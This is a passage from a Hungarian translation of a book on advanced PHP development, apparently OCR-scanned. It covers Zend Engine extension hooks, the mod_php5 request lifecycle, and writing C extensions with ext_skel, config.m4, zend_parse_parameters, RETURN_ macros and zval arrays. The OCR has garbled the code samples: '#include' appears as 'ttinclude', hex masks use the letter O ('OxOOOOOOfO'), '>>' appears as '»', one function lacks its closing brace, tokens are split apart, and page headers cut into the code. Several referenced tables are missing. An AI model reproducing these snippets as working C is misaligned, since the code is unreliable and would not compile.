fcall_begin_handler_func_t fcall_begin_handler;
fcall_end_handler_func_t fcall_end_handler;
op_array_ctor_func_t op_array_ctor;
op_array_dtor_func_t op_array_dtor;
int (*api_no_check)(int api_no);
void *reserved2;
void *reserved3;
void *reserved4;
void *reserved5;
void *reserved6;
void *reserved7;
void *reserved8;
DL_HANDLE handlé;
int resource_number;
};

A mutatók az alábbi lehetőségeket adják:

• startup - Működése megegyezik egy bővítmény module_startup_f unc függ-


vényével.
• shutdown - Működése megegyezik egy bővítmény module_shutdown_f unc
függvényével.
• activate - Működése megegyezik egy bővítmény request_startup_f unc
függvényével.
• deactivate - Működése megegyezik egy bővítmény request_shutdown_f unc
függvényével.
• message_handler - Ezt a rendszer akkor hívja, amikor egy bővítményt bejegyez.
• op_array_handler - A rendszer ezt hívja meg a függvény fordítása után, annak
optömbjén.
20. fejezet • A PHP és a Zend Engine titkai 541

• statement_handler - Amennyiben ezt a kezelőt beállítjuk, az egyes utasítások


elé egy további opkód kerül. E művelet kezelője végrehajt minden bejegyzett utasí-
táskezelőt. A statement_handler igen hasznos lehet hibakezelő bővítmények-
nél, de mivel gyakorlatilag megkétszerezi a program optömbjének méretét, megle-
hetősen lelassítja a futást.
• fcall_begin_handler - Beállítása esetén a rendszer egy további opkódot he-
lyez el a ZEND_DO_FCALL és a ZEND_DO_FCALL_BY_NAME előtt. A beillesztett
opkód végrehajt minden bejegyzett f call_begin_handler függvényt.
• f call_end_handler - Beállítása esetén a rendszer egy további opkódot helyez
el a ZEND_DO_FCALL és a ZEND_DO_FCALL_BY_NAME után. A beillesztett opkód
végrehajt minden bejegyzett f call_end_handler függvényt.

Összeáll a kép
Az előzőekben rengeteg száraz adatot kaptunk a PHP, a SAPI-k, valamint a Zend Engine
felépítéséről. Ahhoz, hogy megértsük, miként működik a rendszer, tudnunk kell, hogyan
állnak össze a megismert részek teljes egésszé. Minden SÁPI egyedi módon köti össze az
egyes összetevőket, de mindegyikük ugyanazt az általános mintát követi.

A 20.3. ábrán (lásd a következő oldalon) a mod_php5 SÁPI teljes életciklusát láthatjuk.
A kiszolgáló indítása után a folyamat ciklusban veszi sorra a kérelmeket.

További olvasmányok
A Zend Engine-ről meglehetősen kevés leírást találhatunk a szakirodalomban. Ha kissé
gyakorlatiasabb tárgyalásmódra vágyunk, ugorjunk előre a 23. fejezethez, ahol tüzetesen
megzvizsgáljuk a CGI SÁPI szerkezetét, és megtanuljuk, miként ágyazhatjuk be a PHP-t
külső alkalmazásokba.
542 PHP fejlesztés felsőfokon

20.3. ábra,
A mod_php5 kérelmek életciklusa.
A PHP bővítése: I. rész
A kulisszák mögött a PHP belső függvényei és osztályai C-ben készültek - sőt, a fejlesz-
tőknek is lehetőségük van arra, hogy függvényeiket C-ben vagy C++-ban írják. Hogy mi-
ért tennék? íme az érvek:

• Érintkezés külső könyvtárakkal - Ha van egy külső könyvtárunk, amihez hozzá szeret-
nénk férni a PHP-ben, az egyetlen igazi megoldás, ha készítünk a számára egy bő-
vítményi burkolót. Minderre akkor lehet szükség, ha egy saját fejlesztésű könyvtá-
rat szeretnénk használatba venni, ha egy olyan könyvtárral állunk szemben, mely-
nek felhasználói szerződése nem teszi lehetővé, hogy burkolókönyvtárat is mellé-
keljenek hozzá a PHP-hez, vagy ha a szóban forgó könyvtárhoz egyszerűen még
nem adtak ki PHP felületet. Utóbbi esetben nagy valószínűséggel jól boldogulunk
a PEAR PECL bővítménykönyvtárával.
• Teljesítmény - Előfordulhat, hogy maradnak olyan részek a kódban, amelyeket kép-
telenek vagyunk optimalizálni az eddigiekben megtanult módszerekkel. Ilyenkor
már csak egyetlen lehetőségünk marad — a kód átírása C nyelvre. Mivel a C függvé-
nyek nem a Zend virtuális gépen futnak, jelentősen kevesebb többletterhet rónak
a rendszerre. Ez olyannyira igaz, hogy külső erőforrásokat (adatbázishívások, távoli
adatelérés, RPC-k stb.) nem alkalmazó függvényeknél 10-szeres vagy akár 100-szo-
ros sebességnövekedést is várhatunk.

Jóllehet mindkét érv igen hathatós, fontos, hogy figyelmeztessük a buktatókra azokat,
akik ilyen átírásba fognak, különösen, ha csak a teljesítmény növelése a cél: A PHP egyik
erőssége a gyors tanulhatósága. A magasszintű nyelvek (mint a PHP vagy a Perl, de nem
mint a C vagy a C++) használatának előnye, hogy elfedik előlünk a memóriakezelés
gondjait, és kizárják az olyan hibák lehetőségét, melyek magát a PHP értelmezőt taszíta-
nák összeomlásba.

Ha C bővítményt készítünk, a fenti könnyebbségeket gyorsan el is felejthetjük. Ha egy al-


kalmazás (akár részben) C kódot tartalmaz, fenntartásához egy C programozóra lesz szük-
ség. Ez pedig igencsak kényelmetlen lehet számos kis (és esetleg néhány nagyobb) cég-
nek, akik inkább a PHP programozók táborára építenek. Az, hogy magunk jártasak va-
544 PHP fejlesztés felsőfokon

gyünk a C programozásban, még nem jelenti azt, hogy aki esetleg a helyünkre lép, szin-
tén az lesz. Gondolhatunk persze erre úgy is, mint valamiféle rafinált állásbiztosítékra, de
magunkat és munkáltatónkat kényszerhelyzetbe hozni (hiszen innentől C programozókat
is kell foglalkoztatni a PHP fejlesztők mellett) nem igazán szerencsés.

Mindemellett, a C-ben sokkal nehezebb jól programozni, mint a PHP-ben. A bővítmé-


nyekben keletkezett adathulladékokat nem takarítja el a Zend szemétgyűjtő rendszere, így
magunknak kell ügyelnünk arra, hogy ne pazaroljuk a memóriát, illetve az erőforrásokat
- ráadásul a Zend API különösen rejtélyes dolgokat művel, amikor a bővítmények erőfor-
rás-hivatkozásainak kezelésére kerül sor. A C hibakeresése sokkal hosszadalmasabb, mint
amit a PHP-ben tapasztalhattunk: egy sor megváltoztatása után nem próbálhatjuk ki azon
nyomban a hatást, előbb újra le kell fordítanunk és el kell indítanunk a programot. Az is
előfordulhat, hogy alkalmazásunk összeomlik (szegmentációs hibák stb. miatt), ha olyas-
mit művelünk, amit nem szabadna megtennünk.

Mint minden teljesítményfokozási módszernél, az alkalmazás kódrészleteinek C nyelvi át-


alakításánál is a „valamit valamiért" elve érvényesül. A C használatának vannak előnyei:

• Sebesség
• A PHP kód bonyolultságának csökkenése

És hátrányai:

• Nehezebb fenntarthatóság
• Hosszabb fejlesztési folyamat
• Törékenyebb alkalmazásszerkezet

Vannak persze olyan cégek, amelyeknek megéri a váltás. Emellett, ha egy külső könyvtár-
ral szeretnénk együttműködni, többnyire nincs más választásunk, mint egy bővítményi
burkolót készíteni.

A bővítmények alapjai
Ha jártasak vagyunk a C programozásban, nem túl nehéz feladat megírni egy PHP bővít-
ményt. A PHP számos segédeszközt bocsát rendelkezésünkre, melyek segítenek a PHP és
a C közti híd kiépítésében. A következőkben sorra vesszük azokat a lépéseket, amelyek
szükségesek ahhoz, hogy elkészítsünk egy PHP bővítményt, ami képes eljárásközpontú
(procedurális) függvények bejegyzésére.
21. fejezet • A PHP bővítése: I. rész 545

Bővítményváz készítése
Legegyszerűbben úgy készíthetünk bővítményt, ha felhasználunk egy már meglevő bővít-
ményvázat - ilyen váz a PHP ext könyvtárának ext_skel programja. Ha egy example ne-
vű bővítményt szeretnénk készíteni, az alábbiakat kell tennünk a forráskönyvtár gyökerében:

> cd ext
> ./ext_skel --extname=example
Creating directory example
Creating basic files: config.m4 .cvsignore example.c
php_example.h CREDITS EXPERIMENTÁL tests/001.phpt example.php
[done].

Az új bővítmény használatba vételéhez a következők futtatására van szükség:

1. $ cd ..
2. $ vi ext/example/config.m4
3. $ ./buildconf
4. $ ./configure --[withIenable]-example
5. $ make
6. $ ./php -f ext/example/example.php
7. $ vi ext/example/example.c
8. $ make

Ismételjük a 3-6. lépéseket mindaddig, míg az ext/example/conf ig.m4 tartalma meg-


felelő nem lesz, és a 6. lépést mindaddig, míg a rendszer vissza nem jelzi, hogy modulun-
kat lefordította a PHP-hez. Ezután hozzákezdhetünk a kódoláshoz, és ismételjük meg
annyiszor az utolsó két lépést, ahányszor csak szükséges.

A fenti kód egy example nevű könyvtárat hoz létre, melyben elhelyez minden fájlt, ami
szükséges a bővítményhez. Legfontosabb fájlunk az example. c, a bővítmény fő C forrás-
fájlja, melynek szerkezete valahogy így fest (a könnyebb olvashatóság kedvéért a kevésbé
lényeges részeket kihagytam):
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

ttinclude "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_example.h"

#define VERSION "1.0"

function_entry example_functions[] = {
{NULL, NULL, NULL}
};
546 PHP fejlesztés felsőfokon

zend_module_entry example_module_entry = {
STANDARD_MODULE_HEADER,
"example",
example_functions,
PHP_MINIT(example),
PHP_MSHUTDOWN(example),
PHP_RINIT(example),
PHP_RSHUTDOWN(example),
PHP_MINFO(example),
VERSION,
STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_EXAMPLE
ZEND_GET_MODULE(example)
#endif

PHP_MINIT_FUNCTION(example)
{
return SUCCESS;

PHP_MSHUTDOWN_FUNCTION(example)
{
return SUCCESS;
}

PHP_RINIT_FUNCTION(example)
{
return SUCCESS;
}

PHP_RSHUTDOWN_FUNCTION(example)
{
return SUCCESS;
}

PHP_MINFO_FUNCTION(example)
{
php_ínfo_print_table_start();
php_ínfo_print_table_header(2, "example support", "enabled");
php_info_print_table_end();
}

Fejezetünk későbbi részeiben részletesebben foglalkozunk e kód egyes összetevőivel.


21. fejezet • A PHP bővítése: I. rész 547

Vizsgálódásunk következő tárgya a conf ig.m4 fájl, amely a bővítmény felépítésénél al-
kalmazott jelzőket meghatározó m4 makrókból áll. Az alábbiakban bemutatunk egy egy-
szerű .m4 programot, amely a bővítmény felépítéséhez megköveteli az --enable-
example kapcsoló használatát:

PHP_ARG_ENABLE(example, to enable the example extension,


t --enable-example enable the example extension.])

if test "$PHP_EXAMPLE" != "no"; then


PHP_NEW_EXTENSION(example, example.c, $ext_shared)
fi

A PHP telepítőrendszere támogatja a teljes . m4 utasításkészletet, továbbá pár saját makrót.


Lássunk most néhányat ez utóbbiak közül:

• PHP_CHECK_LIBRARY (liibrary, func [, found [, not-found [, extra-


liba] ]]) - Ellenőrzi a func (függv) függvény létezését a könyvtárban. Amennyiben
létezik, az eredmény found (vari), egyébként not-found (nincs). Az extra-libs
(extra-könyvtárak) további könyvtárakat takar, melyeket a lib sorhoz adhatunk.
• PHP_DEFINE(wliat, [value])- Egyszerű burkoló az AC_DEFUN körül, amely
a megfelelő kódot biztosítja az alábbi sor beszúrásához (what = valami, value =
érték): #define what value
• PHP_ADD_SOURCES(path, sourcesl, Bpecial_flaga[, type] ])- További
forrásokat ad a felépítéshez a path (elérési_úf) útvonalról. Ha a bővítmény forrás-
kódját több fájlba osztjuk, e makró segítségével automatikusan felépíthetjük és
összeszerkeszthetjük azokat.
• PHP_ADD_LIBRARY(IiJbrary[, appendl, shared-libadd]]) - A library
(könyvtár) könyvtárat beilleszti az összeszerkesztés (link) sorába.
• PHP_ADD_INCLUDE (path [, be főre]) - A path útvonalat beilleszti a felépítés
(build) sorába. Ha a bef ore-t is beállítjuk, az include útvonal elé írja, egyébként
utána.

A saját . rn4 makrók mindegyikét megtalálhatjuk a PHP forrásgyökérkönyvtárában az


acinclude.m4 fájlban.

Az ext. skel más fájlokat is létrehoz-.

• CREDITS - Erre a fájlra nincs feltétlenül szükség, de jól jöhet, ha terjesztjük is bő-
vítményünket.
• EXPERIMENTÁL - Ez a jelzőfájl kísérletinek jelöli bővítményünket. Akkor hordoz-
hat valódi jelentést, ha bővítményünket a PHP-vei kaptuk.
• example .php - Ez a mintaprogram betölti és használatba veszi a bővítményt.
• php_example. h - A bővítmény alapértelmezett fejlécfájlja.
548 PHP fejlesztés felsőfokon

• tests/001 .phpt - Egységteszt, amely a PHP felépítőrendszer egységtesztelő cso-


magját alkalmazza. Mondanunk sem kell, a tesztelés sosem árt.

Bővítmények felépítése és engedélyezése


A bővítmény megírását követően felépítését kétféleképpen végezhetjük: statikusan vagy
dinamikusan. A statikus bővítmények a PHP fordításakor épülnek be a rendszerbe, míg
a dinamikus bővítmények beépítése bármikor megtörténhet, adataikat a php. ini fájl
tartalmazza.

A statikus bővítmények felépítéséhez a forráskódoknak a PHP felépítési könyvtárának


ext / alkönyvtárában kell lenniük. Ezután a gyökérkönyvtárból az alábbi parancsot kell
kiadnunk:

>./buildconf

Ez átállítja a PHP felépítési rendszerét, és beilleszti a beállításokat a fő beállító programba.

Ezután a bővítmény engedélyezése mellett a hagyományos módon végezhetjük el a PHP


beállítását és felépítését:

> ./configure --with-apxs=/usr/local/apache/bin/apxs --enable-example


> make
> make install

Ha egy bővítményt dinamikusan betölthető osztott objektumként szeretnénk felépíteni,


a forráskódokat lefordíthatjuk a PHP forráskönyvtárain kívül is. A forrást tartalmazó
könyvtárban az alábbi parancsot kell használnunk:

> phpize

Ez lefuttatja a PHP felépítési rendszerét a conf ig.m4 fájlon, és készít belőle egy beállító
programot.

Ezután következhet a bővítmény beállítása és felépítése:

> ./configure --enable-example


> make
> make install

Ezzel felépítjük és telepítjük a bővítményt a közös bővítménykönyvtárba. Mivel dinamikus


bővítményről van szó, engedélyeznünk kell a php. ini fájlban is, az alábbiak szerint:

extension=example.so
21. fejezet • A PHP bővítése: I. rész 549

Ha nem töltjük be a bővítményt a php. ini fájlból, ezt a program végrehajtása közben
kell megtennünk a következő kóddal:

dl("example.so");

A végrehajtás alatt betöltött modulok minden kérelem végén kiürülnek a rendszerből.


Ez igen lassúvá teszi használatukat, így csak akkor alkalmazzuk ezt a módszert, ha
a php. ini fájllal valamilyen meggondolásból nem tölthetők be. Ha nem tudjuk biztosan,
hogy egy adott bővítmény betölthető-e a php. ini állományból, az alábbi kódrészlettel
ellenőrizhetjük, hogy betöltöttük-e, és ha nem, ezt dinamikusan pótolhatjuk:

if(!extension_loaded('example')) {
dl('example.' . PHP_SHLIB_SUFFIX);
}

Függvények használata
A bővítmények készítése általában függvények írásával jár együtt. Nem számít, hogy PHP
kódot írunk át C-be vagy burkolót készítünk egy C könyvtár köré, a függvények írását
nem kerülhetjük el.

Egy egyszerű példa


A függvények készítésének bemutatásához vegyük elő az istállóból egyik régi állatorvosi
lovunkat, a Fibonacci-sorozatot. Szükségünk lenne először is egy, a Fibonacci-sorozat ele-
meit megadó C függvényre. Ha visszaemlékszünk a 11. fejezetben leírtakra, felderenghet
néhány lehetőség. A lineáris önhivatkozás elég gyors módszer, így most ezt használjuk -
lássuk is rögtön a megfelelő PHP függvény C változatát:

int fib_aux(int n, int next, int result)


{
if(n == 0) {
return result;
}
return fib_aux(n - 1, next + result, next);
}

A függvény magjának megírása után el kell készítenünk azt a kódot is, amely az ezt körül-
vevő PHP függvényt valósítja meg. Ehhez két lépés szükségeltetik: Először meg kell hatá-
roznunk a függvényt, másodszor pedig be kell jegyeztetnünk a bővítménnyel, hogy an-
nak betöltésekor bekerüljön a globális függvénytáblába. Lássuk most a f ibonacci ()
függvény meghatározását:

PHP_FUNCTION(fibonacci)
{
long n;
550 PHP fejlesztés felsőfokon

long retval;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "1", &n)
■ ■ ■ ■ == FAILURE) {
return;
}
if(n < 0) {
zend_error(E_WARNING, "Argument must be a positive integer");
RETURN_FALSE;
}
retval = fib_aux(n, 1, 0);
RETURN_LONG(retval);
}

A PHP függvényeket a PHP_FUNCTION () makróval határozhatjuk meg. Ez elvégez némi


névkiegészítést (megakadályozva a bővítmények függvényneveinek ütközését), és beállít-
ja a függvény prototípusát. (A rendszer belső műveleteiben a függvények prototípusa azo-
nos.) E makró működésének részleteiről egyetlen dolgot kell tudnunk, mégpedig azt,
hogy a függvénynek átadott egyik paraméter az alábbi:

zval *return_value

Ez a változó tárolja a függvény visszatérési értékét. Ehhez általában rendelhetünk különfé-


le makrókat, de esetenként előfordulhat, hogy magunknak kell közvetlenül kezelnünk
- mindazonáltal e közvetlen hozzárendelés részletei lényegtelenek. Ha megmaradunk
a makróknál (ne is tegyük másképp, hisz a mellékelt bővítmények is így működnek),
nem kell mélyebbre ásnunk a PHP_FUNCTION működésének részleteibe.

A PHP függvények nem jutnak hozzá közvetlenül paramétereikhez, ki kell bányászniuk


azokat a paraméterveremből, melynek tartalmát a hívás környezetében töltötték fel. Ezt
a feladatot végzi el a zend_parse_parameters (). Első paramétere, a ZEND_NUM_ARGS ()
TSRMLS_CC valójában nem is egy, hanem két paraméter. Az első egy makró, amely megadja
a verembe helyezett paraméterek számát, a második, a TSRMLS_CC pedig egy másik makró,
amely a szálbiztonsági adatokat adja át, amennyiben a PHP-t szálbiztosan fordították.

A következő paraméter, az „1", a várt adattípust mutatja - esetünkben ez egy hosszú


egész. Ezután az &n áll, ami egy hivatkozás szerint tárolt C változó, melybe a paraméter
kerül. Mivel most long típust várunk, egy ilyen típusra mutató hivatkozást adunk át.

A zend_parse_parameters () a SUCCESS értékkel tér vissza, amennyiben az átadott


paraméterek száma megfelel a vártnak, továbbá a kapott értékek beleilleszthetők a meg-
adott típusokban - egyébként a visszatérési érték FAILURE. Ez utóbbi esetben a függvény
intézkedik a megfelelő figyelmeztetés kiváltásáról, így nyugodtan visszatérhetünk.
21. fejezet • A PHP bővítése: 1. rész 551

A 20. fejezetből emlékezhetünk, hogy a PHP változói nem felelnek meg a C egyes típusai-
nak, hanem mind a zval típusba tartoznak. A zend_parse_parameters () feladata
a típusátalakítás elvégzése. Olyan típusoknál, amelyek egyszerűen megfeleltethetők elemi
C típusoknak (mint az egészek, a lebegőpontos számok és a karakterláncok) ez a mód-
szer nagyszerű eredményt ad, de összetettebb típusok esetén magunknak kell kezelnünk
a zval típust.

Ha megvannak a paraméterek értékei, a függvény egyszerű C függvényként viselkedik.


A f ibonacci () esetében a program kiszámolja a Fibonacci-sorozat n. értékét, és
a retval változóba helyezi. Ahhoz, hogy ezt a PHP is használhassa, át kell tennünk
a return_value változóba. Egyszerű típusoknál szerencsére segítségünkre sietnek
a makrók. Ez esetben a RETURN_LONG (retval) ; állítja be a return_value típusát,
tartalmát feltölti a retval értékével, majd visszatér a függvényből.

Ahhoz, hogy ez a függvény elérhetővé váljon a bővítmény betöltésekor, el kell helyez-


nünk egy function_entry tömbben:

function_entry example_functions[] = {
PHP_FE(f ibonac c i, NULL)
{NULL, NULL, NULL}
};

A PHP_FE () bejegyzés után álló NULL a paraméterátadás alakját határozza meg (például,
hogy ez hivatkozás szerint történjen-e). Jelen esetben az alapértelmezett, érték szerinti át-
adást használjuk.

Amennyiben egy függvénylista még azelőtt megjelenik, hogy a függvényeket bevezet-


nénk, előzetes deklarációra van szükség. Ezt szokás szerint a php_example. h fejlécfájl-
ban tehetjük meg, az alábbi utasítással:

PHP_FUNCTION(fibonacci);

A típusok és a memória kezelése


A 18. fejezetben hallhattunk egy tanulságos történetet a karakterláncok PHP-beli tizenha-
tos számrendszerű (hexadecimális) kódolásáról. Az ott bemutatott hexencode () és
hexdecode () függvények egy karakterláncból hexadecimális számsorozatot készítettek
(a 8 bites adatok tűrése érdekében), illetve e folyamat ellentettjét valósították meg. A 18.
fejezetben megemlítettük megoldási lehetőségként, hogy e függvényeket C-ben valósítsuk
meg. Nos, gyakorlatnak ez éppen megfelel!
552 PHP fejlesztés felsőfokon

Szükségünk van tehát két C függvényre, melyek mindketten egy char * karakterláncot
fogadnak a hosszával egyetemben, és elvégzik a kódolást, illetve a visszafejtést. Szándé-
kosan adjuk át a hosszértéket ahelyett, hogy egy függvényre (mint például az strlen ())
hagyatkoznánk, ugyanis így a bináris adatok nem csapják be a kódunkat. A PHP-ben
ugyanis a karakterláncok valójában akármilyen bináris adatot tartalmazhatnak, köztük
null karaktereket is, így ahhoz, hogy tudjuk, hol ér véget a karakterlánc, át kell adnunk
a hosszát.

A hexencode () először lefoglal egy tárolót, melynek mérete kétszerese a kapott karak-
terláncénak (mivel egy karaktert két hexadecimális számjegy jelenít meg).A függvény ez-
után karakterenként végighalad a forráson, és meghatározza az adott karakter alsó, majd
felső bitjéhez tartozó hexadecimális számjegyet. Ha mindennel elkészül, egy null karak-
tert ír a karakterlánc végére, és visszaadja. íme a kód:

const char *hexchars = "0123456789ABCDEF";


char *hexencode(char *in, int in_length) {
char *result;
int i ;

result = (char *) emalloc(2 * in_length + 1 );


f o r ( i =0; i < in_length; i++) {
r es ul t [2 *i ] = hexchars[( i n [ i ] & OxOOOOOOfO) » 4];
result[2*i + 1] = hexchars[in[i] & OxOOOOOOOf];
}
result[2*in_length] = ' \ 0 ' ;
return result;
}

Figyeljük meg, hogy az eredmény tárolójának az emalloc () függvénnyel foglaltunk he-


lyet. A PHP és a Zend Engine saját belső memóriakezelő burkolófüggvényeket használ. Mi-
vel azokat az adatokat, melyeket a PHP változóihoz rendelünk, a Zend Engine memóriake-
zelő rendszere takarítja fel, számukra ezekkel a burkolófüggvényekkel kell memóriát fog-
lalnunk. Ráadásul, mivel több memóriakezelő használata csak zűrzavart okoz, a PHP bővít-
ményekben érdemes kizárólag a Zend Engine memóriakezelő burkolóit alkalmaznunk.

A 21.1. táblázatban a gyakran használt memóriakezelő függvényeket soroljuk fel.

21.1 táblázat Memóriakezelő függvények


21. fejezet • A PHP bővítése: I. rész 553

Mindezek a függvények a motor memóriarendszerét használják, amely minden kérelem


végén felszabadítja a lefoglalt területeket. Ez a legtöbb változó esetében jól működik, mi-
vel a PHP igen jól elválasztja az egyes kérelmek kezelését, és szimbólumtáblái amúgy is
megsemmisülnek a kérelmek között.

Mindazonáltal előfordulnak olyan esetek is, amikor szükségünk van a kérelmek között
megmaradó memóriafoglalásra is. Erre jellemzően akkor kerül sor, amikor egy maradandó
erőforrásnak kell memóriát foglalnunk. Ennek megvalósítására itt vannak az előző függ-
vények megfelelői:

void *pemalloc(size_t size, int persistent)


void pefree(void *ptr, int persistent)
void *perealloc(void *ptr, size_t size, int persistent)
char *pestrndup(char *str, int persistent)

A persistent paramétert egy nem nulla értékre kell állítanunk, amennyiben a foglalást
a maradandó memóriában szeretnénk megtenni. A gyakorlatban ez arra utasítja a PHP-t,
hogy saját memóriakezelője helyett a malloc () függvényt használja a memóriafoglalásra.

Szükségünk van egy hexdecode () függvényre is, ami egyszerűen a hexencode () el-
lentettje: A függvény két karakterenként beolvassa a megadott karakterláncot, és a kapott
párokból előállítja az ASCII karaktereket. Lássuk a kódot:

static_____ inline____ int char2hex (char a)


{
return (a >= 'A' && a <= ' F ' ) ? ( a - 'A ' + 1 0 ) : ( a - '0');
}
char *hexdecode(char *in, int in_length)
{
char *result;
int i ;

result = (char *) emalloc(in_length/2 + 1);


for(i =0; i < in_length/2; i++) {
result[i] = char2hex(in[2 * i]) * 16 + char2hex( i n [ 2 * i+1]);
}
result[in_length/2] = '\0';
return result;
}
554 PHP fejlesztés felsőfokon

Fibonacci-sorozatos példánkhoz hasonlóan persze ezek a C függvények is a munka vég-


zésére hivatottak - szükségünk van még az alábbi PHP_FUNCTI0N burkolókra is:

PHP_FUNCTION(hexencode)
{
char *in;
char *out;
int in_length;

if(zend_parse_paramenters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &in,


&in_length)
== FAILURE) {
return;
}
out = hexencode(in, in_length);
RETURN_STRINGL(out, in_length * 2, 0) ;
}

PHP_FUNCTION(hexdecode)
{
char *in;
char *out;
int in_length;

if(zend_parse_paramenters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &in,


&in_length)
== FAILURE) {
return;
}
out = hexdecode(in, in_length);
RETURN_STRINGL(out, in_length/2, 0);
}

Van itt néhány figyelemre méltó részlet, melyekről szólnunk kell pár szót:

• A PHP_FUNCTION (hexencode) a hexencode () függvényt hívja. Ez nem névüt-


közés, hiszen a PHP_FUNCTI0N () makró maga végzi el a név kiegészítését.
• A zend_parse_parameters () egy karakterláncot vár („s" formátum). Mivel
a PHP karakterlánc típusai képesek kezelni a bináris adatokat, ha a függvény ka-
rakterláncot kap, char *-gá alakítja (elvégezve a szükséges memóriafoglalást), il-
letve egy int-ben tárolja a hosszát.
• A return_value értékét a RETURN_STRINGL () makró állítja be. E makró három
paramétert fogad. Az első egy char * mutató címe, amely a karakterláncot tartal-
mazza, a második egy egész a karakterlánc hosszával (ne feledjük, binárisbiztos-
ság), valamint egy jelző, mellyel azt határozhatjuk meg, hogy a mutató tartalmának
másolata kerüljön-e a return_value változóba. Mivel az out számára magunk
21. fejezet • A PHP bővítése: I. rész 555

foglaltunk memóriát, nincs szükségünk a másolására (memóriát pazarolnánk, ha


így tennénk). Ha ezzel szemben olyan karaktertárolót használnánk, ami nem a sajá-
tunk, a másoláshoz itt az 1 értéket kell megadnunk.

Karakterláncok feldolgozása
Előző két függvényünk egyetlen paramétert dolgozott fel - a zend_parse_parameters ()
ennél sokkal rugalmasabb, hiszen megadhatunk egy formátum-karakterláncot, melyben le-
írhatjuk a várt paraméterek típusait. A 21.2. táblázatban bemutatjuk a formátumkaraktereket,
az általuk meghatározott típusokat, valamint a hozzájuk tartozó C változótípusokat.

21.2 táblázat A zend_parse_parameters() formátumkarakterei

Ha például azt szeretnénk beállítani, hogy függvényünk két karakterláncot és egy long tí-
pusú értéket fogad, a következő kódot alkalmazhatjuk:

PHP_FUNCTION(strncasecmp)
{
char *stringl, *string2;
int string_lengthl, string_length2;
long comp_length;

if(zend_parse_parameters(ZEND_NUM_ARG() TSRMLS_CC, "ssl",


&stringl, &string_lengthl,
&string2, &string_length2,
&comp_length) {
return;
}
/* ... */
}
556 PHP fejlesztés felsőfokon

E példa tehát minden karakterláncnál egy char **-int * párt, és minden long esetében
egy long * értéket vár.

Mindezek mellett a formátum-karakterláncban megadhatunk módosítókat is, így választ-


ható paramétereket is használhatunk (lásd a 21.3. táblázatot).

21.3 táblázat A zend_parse_parameters() paramétermódosítói

Más visszatérési makrók


Két visszatérési makrót, melyekkel beállíthatjuk a return_value értékét és visszatérhe-
tünk, már megismertünk (RETURN_STRINGL és RETURN_LONG) - ez azonban korántsem
a teljes választék, amint azt a 21.4. táblázat is mutatja.

21.4 táblázat Visszatérési makrók


21. fejezet • A PHP bővítése: I. rész 557

21.4 táblázat Visszatérési makrók (folytatás)

Típusok kezelése
Ha összetettebb return_value értékeket szeretnénk beállítani, meg kell ismerkednünk
a zval típus kezelésének lehetőségeivel. Amint a 20. fejezetben láthattuk, a PHP minden
változója zval típusú, ami valójában az egyszerű PHP típusok összességéből áll. Ez adja
a PHP gyenge és dinamikus típusosságát, a 20. fejezetben leírtaknak megfelelően.

Ha olyan változót hozunk létre, melyet a PHP-ben használnak majd, mindenképpen zval
típusút kell választanunk. A létrehozás rendes módja, hogy előbb meghatározzuk, majd
memóriát foglalunk számára - mint az alábbi példában:

zval *var;
MAKE_STD_ZVAL(var);

Ez tárhelyet foglal a var számára, és beállítja a hivatkozásszámlálóit.

Miután létrehoztunk egy zval típusú változót, értéket is rendelhetünk hozzá. Egyszerű tí-
pusok esetén (számok, karakterláncok vagy logikai értékek) az erre szolgáló makrók egy-
szerűek:

ZVAL_NULL(zval *var)
ZVAL_BOOL(zval *var, zend_bool value)
ZVAL_LONG(zval *var, long value)
ZVAL_DOUBLE(zval *var, double value)
ZVAL_EMPTY_STRING(zval *var)
ZVAL_STRINGL(zval *var, char *string, int length, int duplicate)
558 PHP fejlesztés felsőfokon

A fenti makrók igencsak emlékeztetnek a hasonló nevű RETURN_ makrókra, hiszen


ugyanolyan paramétereket fogadnak, és mindannyian skalár értékeket adnak vissza.
Tömb létrehozásához az alábbi kódra van szükség:

zval *array;
MAKE_STD_ZVAL(array);
array_init(array);

Létrehoztunk tehát egy üres zval tömböt. Az egyszerű zval változókhoz hasonlóan itt is
léteznek makrók, melyek segítenek abban, hogy egyszerű típusokat adjunk e tömbhöz:

add_assoc_long(zval *arg, char *key, long value);


add_assoc_bool(zval *arg, char *key, int value);
add_assoc_resource(zval *arg, char *key, int value);
add_assoc_double(zval *arg, char *key, double value);
add_assoc_string(zval *arg, char *key, char *string, int duplicate);
add_assoc_stringl(zval *arg, char *key, char *string,
int string_length, int duplicate);
add_assoc_zval(zval *arg, char *key, zval *value);

A fentiek mindegyike - talán az utolsót leszámítva - viszonylag egyértelmű: lehetővé te-


szik, hogy alaptípusokba tartozó értékeket illesszünk be a tömbbe a key által meghatáro-
zott helyeken. Siker esetén e függvények mindegyike a SUCCESS, kudarc esetén pedig
a FAILURE értéket adja vissza.

Készíthetünk például egy C függvényt, ami az alábbi PHP függvénynek felel meg:

function colorsO
{
return array("Apple" => "Red",
"Banana" => "Yellow",
"Cranberry" => "Maroon");
}

Az eredmény így fest:

PHP_FUNCTION(colors)
{
array_init(return_value);
add_assoc_string(return_value, "Apple", "Red", 1);
add_assoc_string(return_value, "Banana", "Yellow", 1);
add_assoc_string(return_value, "Cranberry", "Maroon", 1);
return;
}
21. fejezet • A PHP bővítése: I. rész 559

Figyeljük meg a következőket:

• A return_value számára a PHP_FUNCTION-ön kívül foglaltunk helyet, így nem


kell alkalmaznunk rá a MAKE_STD_ZVAL makrót.
• Mivel a return_value értékét paraméterként megkaptuk, nem kell visszaadnunk,
egyszerűen használhatjuk a return utasítást.
• Mivel a felhasznált karakterláncok (" Red", " Ye 11 ow", "Maroon") veremfoglalású
tárolók, le kell másolnunk őket. Ez zval értéksorozat létrehozásánál igaz minden
olyan memóriaterületre, amit nem az emalloc () segítségével foglaltunk le.

Az add_assoc_zval () függvénnyel tetszőleges zval értéket adhatunk a tömbhöz.


Ez igen hasznos lehet, ha valamilyen nem szabványos típust kell beillesztenünk, például
egy többdimenziós tömb létrehozásánál. Az alábbi PHP függvény erre mutat példát:

function people()
{
return array(
'george' => array('FullName' => 'George Schlossnagle',
'uid' => 1001,
'gid' => 1000) ,
'theo' => array('Fullname' => 'Theo Schlossnagle',
'uid' => 1002,
'gid' => 1000)) ;
}

